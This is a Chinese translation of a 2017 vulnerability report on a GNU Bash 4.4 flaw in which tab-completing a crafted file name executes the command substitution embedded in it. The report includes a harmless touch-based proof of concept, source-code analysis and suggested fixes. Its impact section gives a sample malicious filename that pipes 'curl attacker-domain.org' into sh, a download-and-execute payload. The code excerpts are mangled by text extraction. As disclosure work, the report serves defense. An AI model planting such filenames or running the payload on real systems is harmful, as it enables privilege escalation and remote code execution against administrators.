【漏洞分析】路径补全功能处GNU Bash代码执行漏洞分析

阅读量129331

|

发布时间 : 2017-02-08 14:33:26

x
译文声明

本文是翻译文章,文章来源:raw.githubusercontent.com

原文地址:https://raw.githubusercontent.com/jheyens/bash_completion_vuln/master/2017-01-17.bash_completion_report.pdf

译文仅供参考,具体内容表达以及含义原文为准。

http://p0.qhimg.com/t01fbae4fec1743e9ab.png

翻译:胖胖秦

预估稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


引言

从版本4.4开始,GNU bash在路径补全功能就存在两个bugs,这会触发一个代码执行漏洞。通过创建拥有特制名字的文件或目录可以触发这个漏洞。用户可以通过按Tab键使用GNU bash的内置路径完成功能(如使用rm命令来删除它),这将触发漏洞但不执行命令本身。在2015五月, devel-branch介绍了该漏洞。

描述

如果创建一个有双引号(”)的文件,这个漏洞就会发生的,这个双引号遵循GNU bash的内置命令替换功能( ‘<command>‘ 或 $(<command>))。双引号不需要闭合。如果用户试图使用自动补全功能,命令就会被执行(如果它不包含一个斜杠(/)字符):

[ heyens@beowulf ] $ touch ’” ‘ touch HereBeDragons ‘ ’ 
[ heyens@beowulf ] $ ls −lt insgesamt 0 −rw−r−−r−− 1 heyens heyens 0 17. Jan 16:03 ’” ‘ touch HereBeDragons ‘ ’ 
[ heyens@beowulf ] $ rm ”‘ touch HereBeDragons‘ ˆC 
[ heyens@beowulf ] $ ls −lt insgesamt 0 −rw−r−−r−− 1 heyens heyens 0 17. Jan 16:04 HereBeDragons −rw−r−−r−− 1 heyens heyens 0 17. Jan 16:03 ’” ‘ touch HereBeDragons ‘ ’

原因

在已提交的devel-branc :74b8cbb41398b4453d8ba04d0cdd1b25f9dcb9e3 [ 1 ]上介绍了这个漏洞,并插入到了4.4的稳定版中。下面的代码引用于此提交哈希。

GNU bash中有两个函数会导致这个漏洞。为了更好的说明,我们假设攻击者在磁盘上保存了一个名为”’foo‘的文件。

dirname的去双引号

在bash的filename_stat_hook函数中,之前检查文件是否存在的代码是内联的,在提交的版本中, 使用了directory exists函数来代替了这个检查(bashline.c也包含这个检查):

3121 else i f ( t = mbschr ( local dirname , ’ ‘ ’ ) ) /∗ XXX ∗/ 
3122 should expand dirname = ’ ‘ ’ ; 
3123 
3124 if ( should expand dirname && directory exists ( local dirname ) ) 
3125 should expand dirname = 0; 
3126 
3127 if ( should expand dirname ) 
3128 { 
3129 new dirname = savestring ( local dirname ) ; 
3130 wl = expand prompt string ( new dirname , 0 , WNOCOMSUB) ; /∗ does the right thing ∗/

跟随这个调用 ,我们发现dirname参数被去引号了.然后,当一个文件名被补齐时,引号早已被移除了.

3092 /∗ First , dequote the directory name ∗/ 
3093 new dirname = bash dequote filename ( dirname , rl completion quote character ) ; 
3094 dirlen = STRLEN ( new dirname ) ; 
3095 i f ( new dirname [ dirlen − 1] == ’/ ’ ) 
3096 new dirname [ dirlen − 1] = ’ ’ ; 
3097 #i f defined (HAVE LSTAT) 
3098 r = lstat ( new dirname , &sb ) == 0; 
3099 #else 3100 r = stat ( new dirname , &sb ) == 0; 
3101 #endif 
3102 free ( new dirname ) ; 
3103 return ( r ) ;

在本质上,这意味着,如果dirname中包含一个双引号,在directory_exists函数内部将移除这个双引号,这发生在l(stat)被调用之前。考虑到我们的原始输入,这意味着dirname包含‘foo’。这个结果在函数里会返回0,因为没有相关文件存在。

返回之前的函数,我们发现在这种情况下,should_expand_dirname不为零,expand_prompt_string函数使用目录名来调用(3130行)。在我们的案例中会发生以下情况 :显示文件没有被找到,我们包含一个’在它的路径中。然而,正确的参数被传递来保证不应该发生命令替换(W_NOCOMSUB)。该函数主要传递参数给expand_word_internal(subst.c:8601)函数,正如我们刚刚发生的,它并没有做正确的事。

expand_word_internal不转发Flags字段

通过查看expand_word_internal函数的源码,我们发现有不同情况来处理引号字符串。我们看看下面的代码段,从subst.c:9009开始:

9009 case ’” ’ : 
9010 if (( quoted & (Q DOUBLE QUOTES|Q HERE DOCUMENT) ) && (( quoted & Q ARITH) == 0) ) 
9011 goto add character ; 
9012 
9013 t index = ++sindex ; 
9014 temp = string extract double quoted ( string , &sindex , 0) ; 
9015 
9016 /∗ I f the quotes surrounded the entire string , then the 
9017 whole word was quoted . ∗/ 
9018 quoted state = ( t index == 1 && string [ sindex ] == ’ ’ ) 
9019 ? WHOLLY QUOTED 
9020 : PARTIALLY QUOTED; 
9021 
9022 i f (temp && ∗temp) 
9023 { 
9024 tword = alloc word desc () ; 
9025 tword−>word = temp ; 
9026 
9027 temp = ( char ∗)NULL; 
9028 
9029 temp has dollar at = 0; /∗ XXX ∗/ 
9030 /∗ Need to get W HASQUOTEDNULL flag through this function . ∗/ 
9031 l i s t = expand word internal (tword , Q DOUBLE QUOTES, 0 , & temp has dollar at , ( int ∗)NULL) ;

在第9014行中,开放(闭合是可选的)引号之间的所有信息都被提取出来。在第9024行会申请一个新的 WORD_DESC结构。相关联的word字段会作相应的设置。但是却从没有设置flags字段。在本质上,即使W_NOCOMSUB被设置为原始字符串,在新创建的字符串中也不会处理Flag标志。在第9031行中,expand_word_interna是递归调用的。但是在这种情况下,将传递’foo’并在命令替换上没有任何限制,这将导致攻击者的命令被执行,执行权限取决于与运行bash的用户。

影响

我们认为这个错误的影响是非常高的,假设攻击者在系统上没有权限,它可以释放一个特定名字的文件到一个目录中,并等待管理员来触发漏洞,进行提升权限,尽管该漏洞不允许在文件名中包含一个斜杠,对于漏洞利用这影响不大:

some-very-long-string-nobody-is-going-to-type"’curl attacker-domain.org| sh‘.

可能的修复

这个问题和两个不同的错误有关。由于没有更深层次的代码基础知识,我们只能猜测,在递归调用expand_word_internal函数里传递flags可以修复这个漏洞。但是,在directory_exists函数中去引号结合已去引号的字符串也可以修复这个漏洞。


References

[1] GNU project. GNU Bash at Savannah git (devel branch). Available at http://git.savannah.gnu.org/cgit/bash.git/commit/?h=devel&id= 74b8cbb41398b4453d8ba04d0cdd1b25f9dcb9e3. Accessed: 2017-01-17. 

本文翻译自raw.githubusercontent.com 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
胖胖秦
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66